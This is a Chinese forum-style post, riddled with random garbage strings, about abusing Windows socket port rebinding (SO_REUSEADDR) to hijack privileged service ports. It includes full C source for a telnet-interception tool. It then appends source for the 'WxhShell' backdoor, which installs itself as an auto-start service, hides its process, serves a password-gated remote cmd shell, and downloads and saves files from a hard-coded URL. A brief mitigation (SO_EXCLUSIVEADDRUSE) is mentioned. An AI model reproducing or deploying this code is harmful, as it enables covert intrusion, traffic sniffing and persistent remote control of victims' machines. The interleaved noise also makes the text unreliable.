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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: } .y
1;. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "v({, ~=RT*>G_ saddr.sin_family = AF_INET; @x'"~"%7b [o+q>|q saddr.sin_addr.s_addr = htonl(INADDR_ANY); y0.8A-2: .Cl:eu,] bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !1{e|p
7 q0R -7O( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,a]?S^:y] NDlF0f 这意味着什么?意味着可以进行如下的攻击: q]e`9/U
.Blf5b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L4z ~B!uvF ww $ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qPy1;maXP kN4{13Qs* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 64G[|" j D k" PayyAC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ?3zc=J"t \Vy Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "8^
Ch{G- v)t:|Q{I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OJ5#4qJ[ <;m<8RjX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r@t9Ci=} Mh/dpb\Z #include *<jAiB,O* #include Q1
$^v0-) #include {NFr]LGOp #include @l jA DWORD WINAPI ClientThread(LPVOID lpParam); _ff`y int main() h"_;IUZ! { yt=3sq WORD wVersionRequested; 7gvnl~C( DWORD ret; 92x(u%~E WSADATA wsaData; hYNY"VB BOOL val; k_5L4c:" SOCKADDR_IN saddr; ^2on.N q> SOCKADDR_IN scaddr; vZ&T}H~8 int err; iwp{%FF SOCKET s; CpeU5 o@ SOCKET sc; 4NzwE( int caddsize; -$jEfi4I HANDLE mt; W~~7C,! DWORD tid; fW3(&@ wVersionRequested = MAKEWORD( 2, 2 ); W=Mb err = WSAStartup( wVersionRequested, &wsaData ); 9-
YwkK#z if ( err != 0 ) { ke]Lw printf("error!WSAStartup failed!\n"); Z/0fXn}) return -1; Ix!Iw[CNd } JedmaY06= saddr.sin_family = AF_INET; X=!^] 3zH +*T7@1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %]DP#~7[| ,PuL{%PXu saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qx8fRIK% saddr.sin_port = htons(23); P&)xz7wG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S=<}:#;u0 { ceM6{N<_U printf("error!socket failed!\n"); */|lJm'R return -1; =K{"{5Wb } t.&Od;\[/ val = TRUE; G_{&sa //SO_REUSEADDR选项就是可以实现端口重绑定的 {G}.b)9FG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xtE_=5$~ { ujaGNg?, printf("error!setsockopt failed!\n"); )5%'.P> return -1; 7X q,z } SHbtWq}T //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <2|O:G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %Nhx;{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Mjfx~I27 7_Z#m ( if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B}?5]N==] { Y/ee~^YxK' ret=GetLastError(); TUDr\' @/f printf("error!bind failed!\n"); U.XNv-M return -1; #u"k~La } 'fF;(? listen(s,2); T[uiPs/xD while(1)
\ 3?LqJ { vj\d A2!~ caddsize = sizeof(scaddr); Ph}|dGb //接受连接请求 %D8ZO0J7H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zG9Y!SY\- if(sc!=INVALID_SOCKET) !n$tr { AvSM^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <]4i`6{v if(mt==NULL) :GW&O /Yo { ?)[EO(D printf("Thread Creat Failed!\n"); D
<&X_ break; 9h%?QC } BV(8y.H } a,+@|TJ,i CloseHandle(mt); r'uGWW"w } y^Kph# F" closesocket(s); {]_r W/
WSACleanup(); N:tY":Hi return 0; X
9%'|(tL } ;D
s46M-s DWORD WINAPI ClientThread(LPVOID lpParam) x{,q]u / { pT1[<X!<s SOCKET ss = (SOCKET)lpParam; x-<)\L& SOCKET sc; gV`=jAE_ unsigned char buf[4096]; [],1lRYI9_ SOCKADDR_IN saddr; +|@rD/I6 long num; l)w Hl%p DWORD val; J.dLPKU;- DWORD ret; t|!j2<e //如果是隐藏端口应用的话,可以在此处加一些判断 z=_Ef3`M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 \,&co saddr.sin_family = AF_INET; Nl9I*x^e saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7&"n`@(.! saddr.sin_port = htons(23); }X_;X_\3;' if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T4 N~(Fi) { R8UYP=Kp printf("error!socket failed!\n"); )aao[_ZS return -1; !$Tw^$n } n;p:=\uN val = 100; T<@ cd|` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fxqp-}: { n?ctLbg ret = GetLastError(); |'+eMl return -1; #8bsxx!s } !\#_Jw%y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <b?!jV7 { u4neXYSy ret = GetLastError(); a9Z%JS] return -1; Ppt2A6W } ~+bGN if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +:-57 { ^1x*lLf printf("error!socket connect failed!\n"); npyAJp closesocket(sc); nG,U>) closesocket(ss); >Clh] ;K return -1; XfE -fH1j } `#QG6/0 while(1) o|iYd
n\ { c8M2 ^{O,` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aJe^Tp( //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^eGNgE //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CWG6;NT6m num = recv(ss,buf,4096,0); wHv]ViNvXE if(num>0) 3bd5FsI^pU send(sc,buf,num,0); \U?n+6 7g else if(num==0) 1s*.A6EP" break; je4 w=]JV num = recv(sc,buf,4096,0); tpEI(9> if(num>0) Rqy0Q8K< send(ss,buf,num,0); ]cC[-F[ else if(num==0) R@yyur~'_( break; TtDg*kZ } 1w0OKaF5 closesocket(ss); )wtaKF.- closesocket(sc); ;.Ie#Vr1N return 0 ; Af5D>/ } {[t`j+J :!f(F9 q$.{j"cZV ========================================================== dg7=X{=9jv 8; R| 下边附上一个代码,,WXhSHELL V~yAE@9 %tt%`0 ========================================================== J3b4cxm .E~(h*NW #include "stdafx.h" d~_`M0+ ;t>Z+O% #include <stdio.h> $BDBN_p #include <string.h> EIbXmkHl< #include <windows.h> Btd Xv4V #include <winsock2.h> sz):oea@f@ #include <winsvc.h> 7"*|2Xq #include <urlmon.h> \mN[gT}LHm y3;q_4. #pragma comment (lib, "Ws2_32.lib") 5Wj;
[2
) #pragma comment (lib, "urlmon.lib") %T=A{<[` zT* .jv #define MAX_USER 100 // 最大客户端连接数 +wk`;0s A #define BUF_SOCK 200 // sock buffer N_Af3R1_ #define KEY_BUFF 255 // 输入 buffer ^, i>'T F'?I-jtI #define REBOOT 0 // 重启 ;C/bJEgdd #define SHUTDOWN 1 // 关机 +~U=C9[gj O0*e)i8 #define DEF_PORT 5000 // 监听端口 ZRUhAp'<qj ?Jusl8Sm #define REG_LEN 16 // 注册表键长度 wVA|!>v #define SVC_LEN 80 // NT服务名长度
XfzVcap PaCzr5!~f // 从dll定义API jSQ9.%4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5NXt$k5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {,j6\Cj 4 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pe~`16f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k)FmDX kF V7l // wxhshell配置信息 LDy<k=;o struct WSCFG { @TA9V@?) int ws_port; // 监听端口 +|%Sx char ws_passstr[REG_LEN]; // 口令 kDYN>``biP int ws_autoins; // 安装标记, 1=yes 0=no W;Jx<-#1 char ws_regname[REG_LEN]; // 注册表键名 6vf\R*D|A char ws_svcname[REG_LEN]; // 服务名 ;;gK@?hJ char ws_svcdisp[SVC_LEN]; // 服务显示名 l t]B#, ' char ws_svcdesc[SVC_LEN]; // 服务描述信息 F X1ZG! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f|a DTWF int ws_downexe; // 下载执行标记, 1=yes 0=no VzRx%j/i char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" j%*7feSNC char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =OV2 uq Zq ot{s }; N\1/JW+ I]J*BD#n. // default Wxhshell configuration /=#~ struct WSCFG wscfg={DEF_PORT, TQ1WVq
}* "xuhuanlingzhe", bYh9sO/l 1, zy N (4 "Wxhshell", EZ(^~k=I "Wxhshell", g"!\\:M "WxhShell Service", -lRhz!E] "Wrsky Windows CmdShell Service", L$Z(+6m5 "Please Input Your Password: ", qMS}t3X 1, _b4fS'[ " http://www.wrsky.com/wxhshell.exe", ;
a/cty0Ch "Wxhshell.exe" jlKGXD)Q[ }; U06o;s( /k"hH\Pp // 消息定义模块 K{}4zuZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #DP7SO char *msg_ws_prompt="\n\r? for help\n\r#>"; 2Q$\KRE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; f'dK73Xof char *msg_ws_ext="\n\rExit."; cc> char *msg_ws_end="\n\rQuit."; =!-5+I#e char *msg_ws_boot="\n\rReboot..."; .)8 char *msg_ws_poff="\n\rShutdown..."; l@d
gJ char *msg_ws_down="\n\rSave to "; X#+`e+Df h[ 6hM^n char *msg_ws_err="\n\rErr!"; H]qq ~bO[ char *msg_ws_ok="\n\rOK!"; mR":z|6 '%3{jc-} char ExeFile[MAX_PATH]; LnMwx#^* int nUser = 0; ,\hYEup HANDLE handles[MAX_USER]; ]u&dJL int OsIsNt; ,bSVVT-b O5 7jz= r SERVICE_STATUS serviceStatus; K a r~I SERVICE_STATUS_HANDLE hServiceStatusHandle; j=.g:&r) J35l7HH // 函数声明 v`G U09 int Install(void); #cEq_[yI int Uninstall(void); sdF3cX int DownloadFile(char *sURL, SOCKET wsh); 2Yyb#Ow int Boot(int flag); WhUa^ void HideProc(void); 5(}H
? int GetOsVer(void); d7bjbJwu int Wxhshell(SOCKET wsl); =
?N^>zie void TalkWithClient(void *cs); D$_8rHc\A int CmdShell(SOCKET sock); &R\XUxI int StartFromService(void); 6hbEO-( int StartWxhshell(LPSTR lpCmdLine); &9kiO rqvU8T7A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6dT|;koWbm VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2_olT_# :2q
?>\ // 数据结构和表定义 p\txlT SERVICE_TABLE_ENTRY DispatchTable[] = AZ8UXq { wd`R4CKhP] {wscfg.ws_svcname, NTServiceMain}, %^^h) Wy} {NULL, NULL} rr>~WjZ3 }; O~Uw&Bq 1XnBK$` // 自我安装 nJ# XVlHc int Install(void) >7FSH"8[, { -g2{681`r char svExeFile[MAX_PATH]; FYeEG HKEY key; [u\CD sX strcpy(svExeFile,ExeFile); px&=((Z7> H*qD: N // 如果是win9x系统,修改注册表设为自启动 gO{W#% if(!OsIsNt) { [oHOHp/V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pw#2<> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M-91
JOt~ RegCloseKey(key); ~M[>m~8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O&P>x#w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p[P[#IeL RegCloseKey(key); 7jZrU|:yu( return 0; )%|r>{ } &kq7gCd } j[T%'% } uf0^E3H else { V9$-twhu :A$wX$H01 // 如果是NT以上系统,安装为系统服务 >#i $Tw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); # 8qyg<F if (schSCManager!=0) ?xHtn2(q { '?L%F{g/9 SC_HANDLE schService = CreateService ?lG;,,jc,W ( "w1(g=n schSCManager, XkoW L wscfg.ws_svcname, ,yi2O]5e>! wscfg.ws_svcdisp, vcD'~)G(* SERVICE_ALL_ACCESS, g&aT!%QvX+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W,'3D~g8 SERVICE_AUTO_START, @{de$ODu SERVICE_ERROR_NORMAL, lvig>0:M svExeFile, G\IocZ3Gz NULL, p
d%LL?O NULL, D; yd{]< NULL, R]fYe#!" NULL, Dpp@*xX> NULL @>9A$w$H|a ); <VgE39 [ if (schService!=0) XDvq7ZD { ,9$>d}N CloseServiceHandle(schService); K \m4*dOv CloseServiceHandle(schSCManager); :6sGX p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'XME?H:q a strcat(svExeFile,wscfg.ws_svcname); z7$}#)Z7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g BH?l/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <e^6.!;W RegCloseKey(key); bAdAp W return 0; up7x)w: } QZ9M{Y/ } vD"_X"v CloseServiceHandle(schSCManager); nvwDx*[qN } J4&XPr9 } 8Y]}Gb! \Qb>: return 1; s2%0#6c'c } n+S&!PB %`N&ti // 自我卸载 iPJ9Gh7 int Uninstall(void) ^$?7H>=_ha { >fhSaeN HKEY key; TyyRj4> %!W6<ioW if(!OsIsNt) { 6;[1Jz]?i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4jPwL|# RegDeleteValue(key,wscfg.ws_regname); 3Y=,r!F.h RegCloseKey(key); z4nou> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >cSi/a,L RegDeleteValue(key,wscfg.ws_regname); $R3.yX=[\ RegCloseKey(key); T=Ol`?5 return 0; 2@OBeR } `,Q <YT ~ } ]
+sSg=N7i } >dcqPNDg1^ else { 1_XO3P\ ?\l!]vu* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^S:cNRSW" if (schSCManager!=0) <(ubZ { sd]0Hx[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {m>~` if (schService!=0) sL;z"N@PK { SIJ# ?0, if(DeleteService(schService)!=0) { V&$ J; CloseServiceHandle(schService); t
PAt? CloseServiceHandle(schSCManager); Fj36K6!#? return 0; 'XG:1Bpm } h7)VJY CloseServiceHandle(schService); 6Eij>{v } FDZeIj9uF CloseServiceHandle(schSCManager); 8dYk3sk } T;xHIg4 } f45;fT> &8o : return 1; |q9,,i}! } b"*mi I>(;bNgNE // 从指定url下载文件 P<TpG0~( int DownloadFile(char *sURL, SOCKET wsh) V%VrAi. { 8-W"4)@b HRESULT hr; Uv#>d}P char seps[]= "/"; B=r]_&u-u char *token; vEX|Q\b6' char *file; wGZ>iLe: char myURL[MAX_PATH]; m.;{ 8AM%f char myFILE[MAX_PATH]; -O>^eMWywo -%7Jj;yA strcpy(myURL,sURL); jcT{ugpq token=strtok(myURL,seps); 0 m)-7@ while(token!=NULL) " {,\]l&o { A?^A*e file=token; f/$-Nl. token=strtok(NULL,seps); 3W%f#d$` } 00$ @0 vCYSm 0 GetCurrentDirectory(MAX_PATH,myFILE); qBf wN 1 strcat(myFILE, "\\"); )F=JkG strcat(myFILE, file); 1 P(&GYc send(wsh,myFILE,strlen(myFILE),0); Ew)n~!s send(wsh,"...",3,0); ,k`YDy|#e hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g]oc(RM if(hr==S_OK) dlU
JYI return 0; ;H D 4~3 else oP 6.t-<dU return 1; {PP ^Rb) FkB6*dm- } G
"c&C $cp16 // 系统电源模块 UeutFNp int Boot(int flag) e3oYy#QNk { G!>
iqG HANDLE hToken; `[g#Mxw TOKEN_PRIVILEGES tkp; N{0+C?{_ )VV4HoH]8 if(OsIsNt) { :G6 xJlE| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~_/<PIm LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BXKlO(7 tkp.PrivilegeCount = 1; 8iII)+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5yO#N2jY\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3> n2 if(flag==REBOOT) { wz|Q%.%?[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =DQd PA\K return 0; ly[\mGr } wh7i
G8jCz else { YFC0KU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]k3GFPw return 0; Q8M:7#ySji } w|K(>5nz } %nG~u,_2f else { S>vVjq?~l( if(flag==REBOOT) { `% #zMS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g z)wUQ|W return 0; [E..VesrM } 945
|MQPn else { 8as$h*Wh if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JaB tX' return 0; Rd;~'gbG } %Hl:nT2M } 3=G5(0 h!X'SGK return 1; ->RF`SQu } nEa'e5
lg +0JH"L5! // win9x进程隐藏模块 Pv/%s) &y& void HideProc(void) )0 42?emn { ,]>`guDV Sx4UaV~" HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k7Be'E
BKG if ( hKernel != NULL ) <*~BG)b { H*:r>Lm= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I1}{~@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EFT02#F_f FreeLibrary(hKernel); ,*O{jc`( } WMdz+^\( <or>bo^ return; {XVf|zM, } ;)bF#@Q VK@i#/jm // 获取操作系统版本 3gfV0C\ int GetOsVer(void) G-Ml+@e> { X=!n,=xI OSVERSIONINFO winfo; .k!k-QO5La winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (<:rKp GetVersionEx(&winfo); !_/8!95 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y 1jGf83 return 1; t"Vr;0!{ else EL)/5-=S return 0; [gg7Z|Hu } 51FK~5 -+S~1`0 // 客户端句柄模块 j8ohzX[Y int Wxhshell(SOCKET wsl) .AmM%I4K { "< hx SOCKET wsh; f>, Qhl struct sockaddr_in client; #uR q] 'P DWORD myID; l7r N
]@j"0F/` while(nUser<MAX_USER) ;^H+
|&$> { a?Qcf;o int nSize=sizeof(client); O]4
x;`) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :R _#'i if(wsh==INVALID_SOCKET) return 1; +ouy]b0`t ~"4 vd 3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z6>ZV6(d2^ if(handles[nUser]==0) ,h)T( closesocket(wsh); %>*0.)wG else 6@_@nlA<1 nUser++; 0g*r!aa } ;?L[]Ezzt WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aK=3`q qKb-aP- return 0; i6\!7D] } odT7Gq />j+7ts // 关闭 socket BNKo6:wy void CloseIt(SOCKET wsh) fKK-c9F { Xe^=(| M closesocket(wsh); A%2M]];%X nUser--; !6fpMo ExitThread(0); =D"63fP1 } )V =K#MCK m^u&g&^ // 客户端请求句柄 ~9ls~$+* void TalkWithClient(void *cs) F8r455_W" { dmMr8-w #*aGzF SOCKET wsh=(SOCKET)cs; tH|Q4C char pwd[SVC_LEN]; A ** M"T char cmd[KEY_BUFF]; <cS7L0h char chr[1]; o B}G^t int i,j; @ke})0`5 ^1&
LHrT while (nUser < MAX_USER) { "jN-Yd,z `/j|Rb|eow if(wscfg.ws_passstr) { `0WA!(W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H2R^t{w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ] GPz>k //ZeroMemory(pwd,KEY_BUFF); DP'Dg /D i=0; r D!.N
while(i<SVC_LEN) { |>fS"u 1?#p !;& // 设置超时 z?> y fd_set FdRead; bqwW9D( struct timeval TimeOut; Mh/>qyS*2 FD_ZERO(&FdRead); "Ohpb!J9 FD_SET(wsh,&FdRead); x]01j4HJ TimeOut.tv_sec=8; 48NXj\L[y TimeOut.tv_usec=0; 6!D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oHFDg?Z` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2bG4,M U:p"IY#% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F0^~YYRJV pwd =chr[0]; W%Nu]9T if(chr[0]==0xd || chr[0]==0xa) { V+<AG*[ pwd=0; nX aX= break; (<~R[sT| } GyM%vGl
3 i++; v.&*z48 } }eRG$)' kvVz-PJy // 如果是非法用户,关闭 socket rQ@o if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cb&In<q } 6f9<&dCK Y52xrIvl\ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @X><lz send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 34M.xB csA.3|rv while(1) { tnbs]6 +dpj? ZeroMemory(cmd,KEY_BUFF); ;Sl0kSu Gqb-3ngH // 自动支持客户端 telnet标准 q@Yt`$VTN j=0; tZ24}~da while(j<KEY_BUFF) { KK3xz*W0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wk#-LkI cmd[j]=chr[0]; t SLl'XeN if(chr[0]==0xa || chr[0]==0xd) { V>j` cmd[j]=0; f9=X7"dzP break; )KQv4\0y< } uB"m!dL j++; 9NXiCP9A } d?X6x
{h+E&u[zL // 下载文件 2s ,n!u
Fd if(strstr(cmd,"http://")) { Sq]1SW3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \@"
.
GM% if(DownloadFile(cmd,wsh)) XFAt\g send(wsh,msg_ws_err,strlen(msg_ws_err),0); BjJ gQ`X else j?) `VLZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4J|t} } Jm,X~Si else { rX
d2[pp Y]0y
-H switch(cmd[0]) { ghR]$SG fB}5,22 // 帮助 'ZgW~G]S case '?': { 6U3@-+lF send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8=AKOOU7> break; t[ocp;Q } ~}ZX^l&k{P // 安装 UimZ/\r case 'i': { pg`;)@ if(Install()) g7yHhF>%X send(wsh,msg_ws_err,strlen(msg_ws_err),0); y+x>{!pw else +6-!o,( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y9 '3vZ break; +~]g&Mf6o } /k Vc7LC // 卸载 $466?
oI case 'r': { xF31%b`z: if(Uninstall()) 'J2P3t send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3`q`W9 else oob0^}^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j2n@8sCSO break; 0t0:soZx }
2xj`cFT // 显示 wxhshell 所在路径 ts$UC $ case 'p': { G\AQql(f4 char svExeFile[MAX_PATH]; a-5$GvG strcpy(svExeFile,"\n\r"); )fr\V." strcat(svExeFile,ExeFile); +JVfnTd send(wsh,svExeFile,strlen(svExeFile),0); @C)h;TR break; GQNiBsV } P6'I:/V // 重启 [=!MS?-G case 'b': { Ik)Q0_<a send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "&|2IA if(Boot(REBOOT)) %/C[\wp81 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'FXZ`+r| else { _/\H3 closesocket(wsh); Y>~zt - ExitThread(0);
cK@K\AE } #<3\}*/ break; l!'iLq"K( } )j*qGsOg // 关机 :UciFIa case 'd': { F9hWB17u send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j(2T,WM if(Boot(SHUTDOWN)) :]jtV~E\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); g"f^YEQ_ else {
o`0H(\en closesocket(wsh); =Ji:nEl]z ExitThread(0); dj]N59< } 6*Qpq7Ml break; xb>+~5 9: } yp/*@8%_E // 获取shell Rw%KEUDm case 's': { z<*]h^!3 CmdShell(wsh); w5\)di closesocket(wsh); \}W.RQ^3 ExitThread(0); 2uEu,YC break; N*W.V,6yH } #1k,t // 退出 ocUu case 'x': { u6RHn;b send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _=#mmZkq CloseIt(wsh); 58,mu#yq6 break; ;zODp+4@Q } "(GeW286k // 离开 w ?aLWySYT case 'q': { (H^o8J
send(wsh,msg_ws_end,strlen(msg_ws_end),0); LPF?\mf ^4 closesocket(wsh); &9tsk#bA.g WSACleanup(); @RW%EXKt exit(1); 5 <poN)" break; ,Nh X% } RPwSo.c4 } KG@hjO } uI/
A_ LLiX%XOh // 提示信息 Yw0@O1Cel if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M`'2
a } !hUyX}{`j } <KX#;v!I
oef(i}8O@ return; gw:BKR'o } u)-l+U. KivzgNz // shell模块句柄 AaVlNjB int CmdShell(SOCKET sock) M-hnBt { <LY+"
Y STARTUPINFO si; /FY_LM ZeroMemory(&si,sizeof(si)); 00+5a
TrE si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k$c!J'qL& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5B6:pH6e PROCESS_INFORMATION ProcessInfo; (B5G?cB9 char cmdline[]="cmd"; L\I/2aiE CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u#<]>EtbB return 0; PoZBiw@ } fsoS!6h0k SbY i|V,H // 自身启动模式 ;7}*Xr| int StartFromService(void) Q>$v~v?9 { '1<QK typedef struct }J1#UH_E { Tec6]
: DWORD ExitStatus; T28#?Lp6] DWORD PebBaseAddress; 4j5plm= DWORD AffinityMask; XT)@)c7j DWORD BasePriority; `KN{0<Ne ULONG UniqueProcessId; %BJ V$tO ULONG InheritedFromUniqueProcessId; "PPwJ/L( } PROCESS_BASIC_INFORMATION; 2cL<` \Uiw:
